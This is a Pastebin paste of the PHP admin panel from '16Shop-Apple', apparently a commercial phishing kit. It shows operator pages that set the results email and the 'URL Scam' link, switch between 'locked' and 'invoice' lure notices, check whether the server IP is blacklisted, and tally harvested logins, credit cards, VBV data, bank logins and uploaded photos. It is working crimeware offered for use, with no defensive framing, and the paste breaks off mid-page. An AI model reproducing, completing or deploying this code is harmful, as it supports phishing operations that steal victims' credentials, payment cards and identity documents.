Advertisement
byteart

16Shop-Apple-V1.8.2 Admin

Jul 29th, 2018
2,544
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 41.95 KB | None | 0 0
  1. <?php
  2. session_start();
  3. error_reporting(0);
  4. header("Content-Type: text/html; charset=UTF-8");
  5. $email = $_POST['email'];
  6. $password = $_POST['password'];
  7. $config = parse_ini_file('../key.ini');
  8. $settingan = parse_ini_file('../.config');
  9. $key = $config['private_key'];
  10. $public_key = $config['public_key'];
  11. $page = $_GET['p'];
  12. $domain = preg_replace('/www\./i', '', $_SERVER['SERVER_NAME']);
  13. if (file_exists("../.config")){
  14. }else{
  15.     $contents = load_conf();
  16.     $tulis = fopen("../.config","a");
  17.     fwrite($tulis,$contents);
  18.     fclose($tulis);
  19. }
  20. ?>
  21. <!DOCTYPE html>
  22. <html lang="en">
  23. <head>
  24.     <title>16Shop - Admin Panel</title>
  25.     <meta charset="UTF-8">
  26.     <meta name="viewport" content="width=device-width, initial-scale=1">
  27.     <!--===============================================================================================-->
  28.     <link rel="icon" type="image/png" href="images/icons/favicon.ico"/>
  29.     <!--===============================================================================================-->
  30.     <link rel="stylesheet" type="text/css" href="vendor/bootstrap/css/bootstrap.min.css">
  31.     <!--===============================================================================================-->
  32.     <link rel="stylesheet" type="text/css" href="fonts/font-awesome-4.7.0/css/font-awesome.min.css">
  33.     <!--===============================================================================================-->
  34.     <link rel="stylesheet" type="text/css" href="fonts/Linearicons-Free-v1.0.0/icon-font.min.css">
  35.     <!--===============================================================================================-->
  36.     <link rel="stylesheet" type="text/css" href="vendor/animate/animate.css">
  37.     <!--===============================================================================================-->
  38.     <link rel="stylesheet" type="text/css" href="vendor/css-hamburgers/hamburgers.min.css">
  39.     <!--===============================================================================================-->
  40.     <link rel="stylesheet" type="text/css" href="vendor/animsition/css/animsition.min.css">
  41.     <!--===============================================================================================-->
  42.     <link rel="stylesheet" type="text/css" href="vendor/select2/select2.min.css">
  43.     <!--===============================================================================================-->
  44.     <link rel="stylesheet" type="text/css" href="vendor/daterangepicker/daterangepicker.css">
  45.     <!--===============================================================================================-->
  46.     <link rel="stylesheet" type="text/css" href="css/util.css">
  47.     <link rel="stylesheet" type="text/css" href="css/main.css">
  48.     <!--===============================================================================================-->
  49. </head>
  50. <body>
  51. <?php if($page == "") {
  52.     if(isset($_SESSION['email'])) {
  53.         echo "<script type='text/javascript'>window.top.location='?p=home';</script>";
  54.         exit();
  55.     }
  56.     if(isset($_POST['email'])) {
  57.         $login = login($_POST['email'], $_POST['password']);
  58.         if($login == "valid") {
  59.             $_SESSION['email'] = $_POST['email'];
  60.             $_SESSION['password'] = $_POST['password'];
  61.         }else if($login == "lock") {
  62.             echo "<script type='text/javascript'>window.top.location='?p=lock';</script>";
  63.             exit();
  64.         }else{
  65.             echo "<script type='text/javascript'>window.top.location='?p=gagal';</script>";
  66.             exit();
  67.         }
  68.         $valid = valid_key($domain,$key);
  69.         if($valid == "valid") {
  70.             echo "<script type='text/javascript'>window.top.location='?p=home';</script>";
  71.         }else{
  72.             echo "<script type='text/javascript'>window.top.location='?p=generate';</script>";
  73.         }
  74.     }
  75.     if($public_key == "your_public_key") {
  76.         echo '<div class="limiter">
  77.        <div class="container-login100">
  78.            <div class="wrap-login100">
  79.                <div class="login100-form-title" style="background-image: url(bg.png);">
  80.                <br><br><br><br>
  81.                    
  82.                </div>
  83.  
  84.                <form action="index.php?p=adduser" method="POST" class="login100-form validate-form">
  85.                    <div class="wrap-input100 validate-input m-b-26" data-validate="Public key is required">
  86.                        <span class="label-input100">Public Key</span>
  87.                        <input class="input100" type="text" name="public_key" placeholder="Enter public key">
  88.                        <span class="focus-input100"></span>
  89.                    </div>
  90.                    
  91.                    <div class="flex-sb-m w-full p-b-30">
  92.                        <div class="contact100-form-checkbox">
  93.                             <div class="container-login100-form-btn">
  94.                        <button class="login100-form-btn">
  95.                            Continue
  96.                        </button>
  97.                        
  98.                    </div>
  99.                        </div>
  100.  
  101.                        <div style="margin-bottom:30px;">
  102.                            <a href="https://fb.me/riswanda.ns" class="txt1">
  103.                                Powered by Z1coder Team
  104.                            </a>
  105.                        </div>
  106.                    </div>
  107.                    
  108.                    
  109.  
  110.                  
  111.                </form>
  112.            </div>
  113.        </div>
  114.    </div>';
  115.     }else{
  116.         echo '  <div class="limiter">
  117.        <div class="container-login100">
  118.            <div class="wrap-login100">
  119.                
  120.                <div class="login100-form-title" style="background-image: url(bg.png);">
  121.                <br><br><br><br>
  122.                    
  123.                </div>
  124.  
  125.                <form action="index.php" method="POST" class="login100-form validate-form">
  126.                
  127.                    <div class="wrap-input100 validate-input m-b-26" data-validate="Email is required">
  128.                        <span class="label-input100">Email</span>
  129.                        <input class="input100" type="email" name="email" placeholder="Enter email">
  130.                        <span class="focus-input100"></span>
  131.                    </div>
  132.  
  133.                    <div class="wrap-input100 validate-input m-b-18" data-validate = "Password is required">
  134.                        <span class="label-input100">Password</span>
  135.                        <input class="input100" type="password" name="password" placeholder="Enter password">
  136.                        <span class="focus-input100"></span>
  137.                    </div>
  138.  
  139.                    <div class="flex-sb-m w-full p-b-30">
  140.                        <div class="contact100-form-checkbox">
  141.                            <input class="input-checkbox100" id="ckb1" type="checkbox" name="remember-me">
  142.                            <label class="label-checkbox100" for="ckb1">
  143.                                Remember me
  144.                            </label>
  145.                        </div>
  146.  
  147.                        <div>
  148.                            <a href="https://fb.me/riswanda.ns" class="txt1">
  149.                                Powered by Z1coder Team
  150.                            </a>
  151.                        </div>
  152.                    </div>
  153.  
  154.                    <div class="container-login100-form-btn">
  155.                        <button class="login100-form-btn">
  156.                            Login
  157.                        </button>
  158.                    </div>
  159.                </form>
  160.            </div>
  161.        </div>
  162.    </div>';
  163.     }
  164. }
  165.  
  166. if($page == "gagal") {
  167.     echo '<div class="limiter">
  168.        <div class="container-login100">
  169.            <div class="wrap-login100">
  170.                
  171.                <div class="login100-form-title" style="background-image: url(bg.png);">
  172.                <br><br><br><br>
  173.                    
  174.                </div>
  175.                
  176.                <form action="index.php" method="POST" class="login100-form validate-form">
  177.                    <font color="red">Email atau Password salah</font>
  178.                    <div class="wrap-input100 validate-input m-b-26" data-validate="Email is required">
  179.                        <span class="label-input100">Email</span>
  180.                        <input class="input100" type="email" name="email" placeholder="Enter email">
  181.                        <span class="focus-input100"></span>
  182.                    </div>
  183.  
  184.                    <div class="wrap-input100 validate-input m-b-18" data-validate = "Password is required">
  185.                        <span class="label-input100">Password</span>
  186.                        <input class="input100" type="password" name="password" placeholder="Enter password">
  187.                        <span class="focus-input100"></span>
  188.                    </div>
  189.                    
  190.  
  191.                    <div class="flex-sb-m w-full p-b-30">
  192.                        <div class="contact100-form-checkbox">
  193.                            <input class="input-checkbox100" id="ckb1" type="checkbox" name="remember-me">
  194.                            <label class="label-checkbox100" for="ckb1">
  195.                                Remember me
  196.                            </label>
  197.                        </div>
  198.  
  199.                        <div>
  200.                            <a href="https://fb.me/riswanda.ns" class="txt1">
  201.                                Beli license?
  202.                            </a>
  203.                        </div>
  204.                    </div>
  205.  
  206.                    <div class="container-login100-form-btn">
  207.                        <button class="login100-form-btn">
  208.                            Login
  209.                        </button>
  210.                    </div>
  211.                </form>
  212.            </div>
  213.        </div>
  214.    </div>';
  215. }
  216.  
  217. if($page == "lock") {
  218.     echo '<div class="limiter">
  219.        <div class="container-login100">
  220.            <div class="wrap-login100">
  221.                
  222.                <div class="login100-form-title" style="background-image: url(bg.png);">
  223.                <br><br><br><br>
  224.                    
  225.                </div>
  226.                
  227.                <form action="index.php" method="POST" class="login100-form validate-form">
  228.                    <font color="red">Akun dikunci karena masalah keamanan</font>
  229.                    <div class="wrap-input100 validate-input m-b-26" data-validate="Email is required">
  230.                        <span class="label-input100">Email</span>
  231.                        <input class="input100" type="email" name="email" placeholder="Enter email">
  232.                        <span class="focus-input100"></span>
  233.                    </div>
  234.  
  235.                    <div class="wrap-input100 validate-input m-b-18" data-validate = "Password is required">
  236.                        <span class="label-input100">Password</span>
  237.                        <input class="input100" type="password" name="password" placeholder="Enter password">
  238.                        <span class="focus-input100"></span>
  239.                    </div>
  240.                    
  241.  
  242.                    <div class="flex-sb-m w-full p-b-30">
  243.                        <div class="contact100-form-checkbox">
  244.                            <input class="input-checkbox100" id="ckb1" type="checkbox" name="remember-me">
  245.                            <label class="label-checkbox100" for="ckb1">
  246.                                Remember me
  247.                            </label>
  248.                        </div>
  249.  
  250.                        <div>
  251.                            <a href="https://fb.me/riswanda.ns" class="txt1">
  252.                                Beli license?
  253.                            </a>
  254.                        </div>
  255.                    </div>
  256.  
  257.                    <div class="container-login100-form-btn">
  258.                        <button class="login100-form-btn">
  259.                            Login
  260.                        </button>
  261.                    </div>
  262.                </form>
  263.            </div>
  264.        </div>
  265.    </div>';
  266. }
  267.  
  268. if($page == "adduser") {
  269.     $click = "../key.ini";
  270.     $fps = fopen($click, "r");
  271.     $contents = fread($fps, filesize($click));
  272.     fclose($fps);
  273.  
  274.     $contents = str_replace("your_public_key",bin2hex($_POST['public_key']),$contents);
  275.     unlink("../key.ini");
  276.     $tulis = fopen("../key.ini","a");
  277.     fwrite($tulis,$contents);
  278.     fclose($tulis);
  279.     echo "<script type='text/javascript'>window.top.location='?p=';</script>";
  280. }
  281.  
  282. if($page == "home") {
  283.     if(!isset($_SESSION['email'])) {
  284.         die("<script type='text/javascript'>window.top.location='index.php';</script>");
  285.     }
  286.     $valid = valid_key($domain,$key);
  287.     if($valid == "valid") {
  288.         $font = "Active";
  289.     }else{
  290.         $font = "Inactive";
  291.     }
  292.     echo '<div class="limiter">
  293.        <div class="container-login100">
  294.            <div class="wrap-login100">
  295.                <div style="margin-top:-2px;background:#000;text-align:center;">
  296.            <a style="background-color:#fff;color:#000;border-bottom-left-radius:2px;border-bottom-right-radius:2px;padding-right:20px;padding-left:20px;" href="?p=home">Status</a> <a style="background-color:#fff;color:#000;border-bottom-left-radius:2px;border-bottom-right-radius:2px;padding-right:20px;padding-left:20px;" href="?p=setting">Setting</a>
  297.            <a style="background-color:#fff;color:#000;border-bottom-left-radius:2px;border-bottom-right-radius:2px;padding-right:20px;padding-left:20px;" href="?p=notice">Notice</a> <a style="background-color:#fff;color:#000;border-bottom-left-radius:2px;border-bottom-right-radius:2px;padding-right:20px;padding-left:20px;" href="?p=statistic">Statistic</a>
  298.            <a style="background-color:#fff;color:#000;border-bottom-left-radius:2px;border-bottom-right-radius:2px;padding-right:20px;padding-left:20px;" href="?p=logout">Logout</a>
  299.            </div>
  300.                <div class="login100-form-title" style="background-image: url(bg.png);">
  301.                <br><br><br><br>
  302.                    
  303.                </div>
  304.                <form action="index.php" method="POST" class="login100-form validate-form">
  305.                
  306.                    <div class="wrap-input100 validate-input m-b-26">
  307.                        <span class="label-input100">Domain</span>
  308.                        <input class="input100" value="'.$domain.'" disabled>
  309.                        <span class="focus-input100"></span>
  310.                    </div>
  311.                    
  312.                    <div class="wrap-input100 validate-input m-b-18">
  313.                        <span class="label-input100">Email Result</span>
  314.                        <input class="input100" value="'.$settingan['email'].'" disabled>
  315.                        <span class="focus-input100"></span>
  316.                    </div>
  317.                    
  318.                    <div class="wrap-input100 validate-input m-b-18">
  319.                        <span class="label-input100">URL Scam</span>
  320.                        <input class="input100" value="https://'.$_SERVER['HTTP_HOST'].'/?'.$settingan['parameter'].'" disabled>
  321.                        <span class="focus-input100"></span>
  322.                    </div>
  323.  
  324.                    <div class="wrap-input100 validate-input m-b-18">
  325.                        <span class="label-input100">Status</span>
  326.                        <input class="input100" value="'.$font.'" disabled>
  327.                        <span class="focus-input100"></span>
  328.                    </div>
  329.                    
  330.                    <div class="container-login100-form-btn">
  331.                        <a style="text-decoration:none;color:#fff;" target="_blank" href="index.php?p=check_blacklist">
  332.                        <span style="background:#000;" class="login100-form-btn">
  333.                            Check IP WHM Blacklist
  334.                        </span</a>
  335.                        
  336.                        
  337.                        
  338.                    </div>
  339.  
  340.                    
  341.                </form>
  342.                
  343.            </div>
  344.        </div>
  345.    </div>';
  346. }
  347. if($page == "notice_invoice") {
  348.     if(!isset($_SESSION['email'])) {
  349.         die("<script type='text/javascript'>window.top.location='index.php';</script>");
  350.     }
  351.     unlink("../lang.ini");
  352.     $contents = load_invoice();
  353.     $tulis = fopen("../lang.ini","a");
  354.     fwrite($tulis,$contents);
  355.     fclose($tulis);
  356.     echo "<script type='text/javascript'>alert('Berhasil mengganti notice ke invoice');window.top.location='?p=notice';</script>";
  357. }
  358.  
  359. if($page == "notice_locked") {
  360.     if(!isset($_SESSION['email'])) {
  361.         die("<script type='text/javascript'>window.top.location='index.php';</script>");
  362.     }
  363.     unlink("../lang.ini");
  364.     $contents = load_locked();
  365.     $tulis = fopen("../lang.ini","a");
  366.     fwrite($tulis,$contents);
  367.     fclose($tulis);
  368.     echo "<script type='text/javascript'>alert('Berhasil mengganti notice ke locked');window.top.location='?p=notice';</script>";
  369. }
  370.  
  371. if($page == "check_blacklist") {
  372.     $ipserver = $_SERVER['SERVER_ADDR'];
  373.     ?>
  374.     <script type="text/javascript">
  375.         window.onload=function(){
  376.             document.forms["form"].submit();
  377.         }
  378.     </script>
  379.     <form name='form' id='form' action='http://www.ipvoid.com/ip-blacklist-check/' method='POST'>
  380.         <div style='display:none;'>
  381.             <input name='ip' value='<?php echo $ipserver;?>' />
  382.             <input type='submit' class='button primary' value='Continue' />
  383.         </div>
  384.     </form>
  385.     <?php
  386. }
  387.  
  388. if($page == "generate") {
  389.     if(!isset($_SESSION['email'])) {
  390.         die("<script type='text/javascript'>window.top.location='index.php';</script>");
  391.     }
  392.     if(isset($_POST['domain'])) {
  393.         if(!isset($_SESSION['email'])) {
  394.             die("<script type='text/javascript'>window.top.location='index.php';</script>");
  395.         }
  396.         $click = "../key.ini";
  397.         $fps = fopen($click, "r");
  398.         $contents = fread($fps, filesize($click));
  399.         fclose($fps);
  400.  
  401.         $contents = str_replace($key,bin2hex(md5($_POST['domain'])),$contents);
  402.         unlink("../key.ini");
  403.         unlink("../manage/key.ini");
  404.         unlink("../.serial");
  405.         unlink("../result/total_login.txt");
  406.         unlink("../result/total_cc.txt");
  407.         unlink("../result/total_vbv.txt");
  408.         unlink("../result/total_upload.txt");
  409.         unlink("../result/total_click.txt");
  410.         unlink("../result/total_bank.txt");
  411.         unlink("../result/total_bot.txt");
  412.         unlink("../result/total_bin.txt");
  413.         unlink("../result/log_visitor.txt");
  414.         $tulis = fopen("../key.ini","a");
  415.         fwrite($tulis,$contents);
  416.         fclose($tulis);
  417.  
  418.         $tulis = fopen("../.serial","a");
  419.         fwrite($tulis,"id = ".sha1($domain.$public_key));
  420.         fclose($tulis);
  421.  
  422.         $tulis = fopen("../manage/key.ini","a");
  423.         fwrite($tulis,$contents);
  424.         fclose($tulis);
  425.  
  426.         $tulis = fopen("../manage/.serial","a");
  427.         fwrite($tulis,"id = ".sha1($domain.$public_key));
  428.         fclose($tulis);
  429.  
  430.         $user = $_SESSION['email'];
  431.         $pass = $_SESSION['password'];
  432.         $domain = $_POST['domain'];
  433.         $license = bin2hex(md5($domain));
  434.         register_key($user,$pass,$license,$domain);
  435.  
  436.         echo "<script type='text/javascript'>alert('Berhasil mendaftarkan domain');window.top.location='?p=home';</script>";
  437.     }
  438.     echo '<div class="limiter">
  439.        <div class="container-login100">
  440.            <div class="wrap-login100">
  441.                <div class="login100-form-title" style="background-image: url(bg.png);">
  442.                <br><br><br><br>
  443.                    
  444.                </div>
  445.  
  446.                <form action="index.php?p=generate" method="POST" class="login100-form">
  447.                    <div class="wrap-input100 m-b-26">
  448.                        <span class="label-input100">Domain</span>
  449.                        <input class="input100" type="text" name="domainnya" value="'.$domain.'" disabled>
  450.                        <input class="input100" type="hidden" name="domain" value="'.$domain.'">
  451.                        <span class="focus-input100"></span>
  452.                    </div>
  453.  
  454.                    <div class="container-login100-form-btn">
  455.                        <button class="login100-form-btn">
  456.                            Active Now
  457.                        </button>
  458.                        
  459.                    </div>
  460.                </form>
  461.            </div>
  462.        </div>
  463.    </div>';
  464. }
  465.  
  466. if($page == "setting") {
  467.     if(!isset($_SESSION['email'])) {
  468.         die("<script type='text/javascript'>window.top.location='index.php';</script>");
  469.     }
  470.     if(isset($_POST['config'])) {
  471.         if(!isset($_SESSION['email'])) {
  472.             die("<script type='text/javascript'>window.top.location='index.php';</script>");
  473.         }
  474.  
  475.         $contents = str_replace($key,bin2hex(md5($_POST['domain'])),$contents);
  476.         unlink("../.config");
  477.         $tulis = fopen("../.config","a");
  478.         fwrite($tulis,$_POST['config']);
  479.         fclose($tulis);
  480.         echo "<script type='text/javascript'>alert('Berhasil Menyimpan Settingan');window.top.location='?p=setting';</script>";
  481.  
  482.     }
  483.     $setting = parse_ini_file('../.config');
  484.     $click = "../.config";
  485.     $file = fopen($click, "r");
  486.     $contents = fread($file, filesize($click));
  487.     fclose($file);
  488.     echo '<div class="limiter">
  489.        <div class="container-login100">
  490.            <div class="wrap-login100">
  491.                <div style="margin-top:-2px;background:#000;text-align:center;">
  492.            <a style="background-color:#fff;color:#000;border-bottom-left-radius:2px;border-bottom-right-radius:2px;padding-right:20px;padding-left:20px;" href="?p=home">Status</a> <a style="background-color:#fff;color:#000;border-bottom-left-radius:2px;border-bottom-right-radius:2px;padding-right:20px;padding-left:20px;" href="?p=setting">Setting</a>
  493.            <a style="background-color:#fff;color:#000;border-bottom-left-radius:2px;border-bottom-right-radius:2px;padding-right:20px;padding-left:20px;" href="?p=notice">Notice</a> <a style="background-color:#fff;color:#000;border-bottom-left-radius:2px;border-bottom-right-radius:2px;padding-right:20px;padding-left:20px;" href="?p=statistic">Statistic</a>
  494.            <a style="background-color:#fff;color:#000;border-bottom-left-radius:2px;border-bottom-right-radius:2px;padding-right:20px;padding-left:20px;" href="?p=logout">Logout</a>
  495.            </div>
  496.                <div class="login100-form-title" style="background-image: url(bg.png);">
  497.                <br><br><br><br>
  498.                    
  499.                </div>
  500.  
  501.                <form action="" method="POST" class="">
  502.                    <br><span style="margin-left:20px;"><b>Setting Config</b></span><br>
  503.                    <textarea name="config" style="margin-left:20px;margin-top:5px;border-color:#000;border-style: inset;border-width:2px;" rows="20" cols="70%">
  504.                   '.$contents.'
  505.                    </textarea>
  506.                    <br><br>
  507.                    <div class="container-login100-form-btn">
  508.                        <button style="margin-left:20px;" class="login100-form-btn">
  509.                            Save
  510.                        </button>
  511.                        &nbsp;&nbsp;<a style="text-decoration:none;color:#fff;" href="index.php?p=defaultconfig">
  512.                        <span style="background:#000;" class="login100-form-btn">
  513.                            Reset Default
  514.                        </span></a>
  515.                    </div><br>
  516.                </form>
  517.            </div>
  518.        </div>
  519.    </div>';
  520. }
  521.  
  522. if($page == "notice") {
  523.     if(!isset($_SESSION['email'])) {
  524.         die("<script type='text/javascript'>window.top.location='index.php';</script>");
  525.     }
  526.     if(isset($_POST['noticeconfig'])) {
  527.         if(!isset($_SESSION['email'])) {
  528.             die("<script type='text/javascript'>window.top.location='index.php';</script>");
  529.         }
  530.  
  531.         $contents = str_replace($key,bin2hex(md5($_POST['domain'])),$contents);
  532.         unlink("../lang.ini");
  533.         $tulis = fopen("../lang.ini","a");
  534.         fwrite($tulis,$_POST['noticeconfig']);
  535.         fclose($tulis);
  536.         echo "<script type='text/javascript'>alert('Berhasil Menyimpan Settingan');window.top.location='?p=notice';</script>";
  537.  
  538.     }
  539.     $setting = parse_ini_file('../lang.ini');
  540.     $click = "../lang.ini";
  541.     $file = fopen($click, "r");
  542.     $contents = fread($file, filesize($click));
  543.     fclose($file);
  544.     echo '<div class="limiter">
  545.        <div class="container-login100">
  546.            <div class="wrap-login100">
  547.                <div style="margin-top:-2px;background:#000;text-align:center;">
  548.            <a style="background-color:#fff;color:#000;border-bottom-left-radius:2px;border-bottom-right-radius:2px;padding-right:20px;padding-left:20px;" href="?p=home">Status</a> <a style="background-color:#fff;color:#000;border-bottom-left-radius:2px;border-bottom-right-radius:2px;padding-right:20px;padding-left:20px;" href="?p=setting">Setting</a>
  549.            <a style="background-color:#fff;color:#000;border-bottom-left-radius:2px;border-bottom-right-radius:2px;padding-right:20px;padding-left:20px;" href="?p=notice">Notice</a> <a style="background-color:#fff;color:#000;border-bottom-left-radius:2px;border-bottom-right-radius:2px;padding-right:20px;padding-left:20px;" href="?p=statistic">Statistic</a>
  550.            <a style="background-color:#fff;color:#000;border-bottom-left-radius:2px;border-bottom-right-radius:2px;padding-right:20px;padding-left:20px;" href="?p=logout">Logout</a>
  551.            </div>
  552.                <div class="login100-form-title" style="background-image: url(bg.png);">
  553.                <br><br><br><br>
  554.                    
  555.                </div>
  556.  
  557.                <form action="" method="POST" class="">
  558.                    <br><span style="margin-left:20px;"><b>Custom Notice</b>&nbsp;&nbsp;<a style="color:#fff;padding:5px;background-color:grey;border-radius:6px;" href="index.php?p=notice_locked">Locked</a> &nbsp;<a style="color:#fff;padding:5px;background-color:grey;border-radius:6px;" href="index.php?p=notice_invoice">Invoice</a></span><br>
  559.                    <textarea name="noticeconfig" style="margin-left:20px;margin-top:5px;border-color:#000;border-style: inset;border-width:2px;" rows="20" cols="70%">
  560.                   '.$contents.'
  561.                    </textarea>
  562.                    <br><br>
  563.                    <div class="container-login100-form-btn">
  564.                        <button style="margin-left:20px;" class="login100-form-btn">
  565.                            Save
  566.                        </button>
  567.                    </div><br>
  568.                </form>
  569.            </div>
  570.        </div>
  571.    </div>';
  572. }
  573.  
  574. if($page == "history") {
  575.     if(!isset($_SESSION['email'])) {
  576.         die("<script type='text/javascript'>window.top.location='index.php';</script>");
  577.     }
  578.     $click = "../result/log_visitor.txt";
  579.     $file = fopen($click, "r");
  580.     $log_visitor = fread($file, filesize($click));
  581.     $log_visitor = "\n".$log_visitor;
  582.     fclose($file);
  583.     $click = "../result/total_bot.txt";
  584.     $file = fopen($click, "r");
  585.     $log_bot = fread($file, filesize($click));
  586.     $log_bot = "\n".$log_bot;
  587.     fclose($file);
  588.  
  589.     $click = "../result/total_bin.txt";
  590.     $file = fopen($click, "r");
  591.     $log_bin = fread($file, filesize($click));
  592.     $log_bin = "\n".$log_bin;
  593.     fclose($file);
  594.     echo '<div class="limiter">
  595.        <div class="container-login100">
  596.            <div class="wrap-login100">
  597.                <div style="margin-top:-2px;background:#000;text-align:center;">
  598.            <a style="background-color:#fff;color:#000;border-bottom-left-radius:2px;border-bottom-right-radius:2px;padding-right:20px;padding-left:20px;" href="?p=home">Status</a> <a style="background-color:#fff;color:#000;border-bottom-left-radius:2px;border-bottom-right-radius:2px;padding-right:20px;padding-left:20px;" href="?p=setting">Setting</a>
  599.            <a style="background-color:#fff;color:#000;border-bottom-left-radius:2px;border-bottom-right-radius:2px;padding-right:20px;padding-left:20px;" href="?p=notice">Notice</a> <a style="background-color:#fff;color:#000;border-bottom-left-radius:2px;border-bottom-right-radius:2px;padding-right:20px;padding-left:20px;" href="?p=statistic">Statistic</a>
  600.            <a style="background-color:#fff;color:#000;border-bottom-left-radius:2px;border-bottom-right-radius:2px;padding-right:20px;padding-left:20px;" href="?p=logout">Logout</a>
  601.            </div>
  602.                <div class="login100-form-title" style="background-image: url(bg.png);">
  603.                <br><br><br><br>
  604.                    
  605.                </div>
  606.  
  607.                    <br><span style="margin-left:20px;"><b>Log Visitor</b></span><br>
  608.                    <textarea style="margin-left:20px;margin-top:5px;border-color:#000;border-style: inset;border-width:2px;" rows="15" cols="70%" disabled>
  609.                   '.$log_visitor.'
  610.                    </textarea>
  611.                    <br><br><span style="margin-left:20px;"><b>BIN List</b></span><br>
  612.                    <textarea style="margin-left:20px;margin-top:5px;border-color:#000;border-style: inset;border-width:2px;" rows="15" cols="70%" disabled>
  613.                   '.$log_bin.'
  614.                    </textarea>
  615.                    <br><br><span style="margin-left:20px;"><b>Bot Detected</b></span><br>
  616.                    <textarea style="margin-left:20px;margin-top:5px;border-color:#000;border-style: inset;border-width:2px;" rows="15" cols="70%" disabled>
  617.                   '.$log_bot.'
  618.                    </textarea>
  619.                    <br><br>
  620.                    <br>
  621.            </div>
  622.        </div>
  623.    </div>';
  624. }
  625.  
  626. if($page == "statistic") {
  627.     if(!isset($_SESSION['email'])) {
  628.         die("<script type='text/javascript'>window.top.location='index.php';</script>");
  629.     }
  630.     $click = "../result/total_click.txt";
  631.     $file = fopen($click, "r");
  632.     $total_click = fread($file, filesize($click));
  633.     $total_click = substr_count($total_click, "\n");
  634.     fclose($file);
  635.     if($total_click == 0) {
  636.         $total_click = "$total_click";
  637.     }else{
  638.         $total_click = "$total_click";
  639.     }
  640.  
  641.     $click = "../result/total_login.txt";
  642.     $file = fopen($click, "r");
  643.     $total_login = fread($file, filesize($click));
  644.     $total_login = substr_count($total_login, "\n");
  645.     fclose($file);
  646.     if($total_login == 0) {
  647.         $total_login = "$total_login";
  648.     }else{
  649.         $total_login = "$total_login";
  650.     }
  651.  
  652.     $click = "../result/total_cc.txt";
  653.     $file = fopen($click, "r");
  654.     $total_cc = fread($file, filesize($click));
  655.     $total_cc = substr_count($total_cc, "\n");
  656.     fclose($file);
  657.     if($total_cc == 0) {
  658.         $total_cc = "$total_cc";
  659.     }else{
  660.         $total_cc = "$total_cc";
  661.     }
  662.  
  663.     $click = "../result/total_vbv.txt";
  664.     $file = fopen($click, "r");
  665.     $total_vbv = fread($file, filesize($click));
  666.     $total_vbv = substr_count($total_vbv, "\n");
  667.     fclose($file);
  668.     if($total_vbv == 0) {
  669.         $total_vbv = "$total_vbv";
  670.     }else{
  671.         $total_vbv = "$total_vbv";
  672.     }
  673.  
  674.     $click = "../result/total_bank.txt";
  675.     $file = fopen($click, "r");
  676.     $total_bank = fread($file, filesize($click));
  677.     $total_bank = substr_count($total_bank, "\n");
  678.     fclose($file);
  679.     if($total_bank == 0) {
  680.         $total_bank = "$total_bank";
  681.     }else{
  682.         $total_bank = "$total_bank";
  683.     }
  684.  
  685.     $click = "../result/total_upload.txt";
  686.     $file = fopen($click, "r");
  687.     $total_photo = fread($file, filesize($click));
  688.     $total_photo = substr_count($total_photo, "\n");
  689.     fclose($file);
  690.     if($total_photo == 0) {
  691.         $total_photo = "$total_photo";
  692.     }else{
  693.         $total_photo = "$total_photo";
  694.     }
  695.  
  696.     $click = "../result/total_bot.txt";
  697.     $file = fopen($click, "r");
  698.     $total_botnya = fread($file, filesize($click));
  699.     $total_botnya = substr_count($total_botnya, "\n");
  700.     fclose($file);
  701.     if($total_botnya == 0) {
  702.         $total_botnya = "$total_botnya";
  703.     }else{
  704.         $total_botnya = "$total_botnya";
  705.     }
  706.  
  707.     $click = "../result/log_visitor.txt";
  708.     $file = fopen($click, "r");
  709.     $log_visitor = fread($file, filesize($click));
  710.     fclose($file);
  711.  
  712.     $click = "../result/total_bot.txt";
  713.     $file = fopen($click, "r");
  714.     $log_bot = fread($file, filesize($click));
  715.     fclose($file);
  716.  
  717.     $click = "../result/total_bin.txt";
  718.     $file = fopen($click, "r");
  719.     $log_bin = fread($file, filesize($click));
  720.     fclose($file);
  721.     echo '<div class="limiter">
  722.        <div class="container-login100">
  723.            <div class="wrap-login100">
  724.            <div style="margin-top:-2px;background:#000;text-align:center;">
  725.            <a style="background-color:#fff;color:#000;border-bottom-left-radius:2px;border-bottom-right-radius:2px;padding-right:20px;padding-left:20px;" href="?p=home">Status</a> <a style="background-color:#fff;color:#000;border-bottom-left-radius:2px;border-bottom-right-radius:2px;padding-right:20px;padding-left:20px;" href="?p=setting">Setting</a>
  726.            <a style="background-color:#fff;color:#000;border-bottom-left-radius:2px;border-bottom-right-radius:2px;padding-right:20px;padding-left:20px;" href="?p=notice">Notice</a> <a style="background-color:#fff;color:#000;border-bottom-left-radius:2px;border-bottom-right-radius:2px;padding-right:20px;padding-left:20px;" href="?p=statistic">Statistic</a>
  727.            <a style="background-color:#fff;color:#000;border-bottom-left-radius:2px;border-bottom-right-radius:2px;padding-right:20px;padding-left:20px;" href="?p=logout">Logout</a>
  728.            </div>
  729.                <div class="login100-form-title" style="background-image: url(bg.png);">
  730.                <br><br><br><br>
  731.                    
  732.                </div>
  733.  
  734.                <div class="login100-form">
  735.                    <div class="wrap-input100 m-b-26">
  736.                        <span class="label-input100">Click</span>
  737.                        <input class="input100" type="text" value="'.$total_click.'" disabled>
  738.                        <span class="focus-input100"></span>
  739.                    </div>
  740.                    <div class="wrap-input100 m-b-26">
  741.                        <span class="label-input100">Login</span>
  742.                        <input class="input100" type="text" value="'.$total_login.'" disabled>
  743.                        <span class="focus-input100"></span>
  744.                    </div>
  745.                    <div class="wrap-input100 m-b-26">
  746.                        <span class="label-input100">Credit Card</span>
  747.                        <input class="input100" type="text" value="'.$total_cc.'" disabled>
  748.                        <span class="focus-input100"></span>
  749.                    </div>
  750.                    <div class="wrap-input100 m-b-26">
  751.                        <span class="label-input100">VBV</span>
  752.                        <input class="input100" type="text" value="'.$total_vbv.'" disabled>
  753.                        <span class="focus-input100"></span>
  754.                    </div>
  755.                    <div class="wrap-input100 m-b-26">
  756.                        <span class="label-input100">Bank Login</span>
  757.                        <input class="input100" type="text" value="'.$total_bank.'" disabled>
  758.                        <span class="focus-input100"></span>
  759.                    </div>
  760.                    <div class="wrap-input100 m-b-26">
  761.                        <span class="label-input100">Upload Photo</span>
  762.                        <input class="input100" type="text" value="'.$total_photo.'" disabled>
  763.                        <span class="focus-input100"></span>
  764.                    </div>
  765.                    <div class="wrap-input100 validate-input m-b-18">
  766.                        <span class="label-input100">Bot Detected</span>
  767.                        <input class="input100" type="text" value="'.$total_botnya.'" disabled>
  768.                        <span class="focus-input100"></span>
  769.                    </div>
  770.                    
  771.  
  772.                    <div class="container-login100-form-btn">
  773.                        <a style="text-decoration:none;color:#fff;" href="index.php?p=resetdata">
  774.                        <span style="background:#000;" class="login100-form-btn">
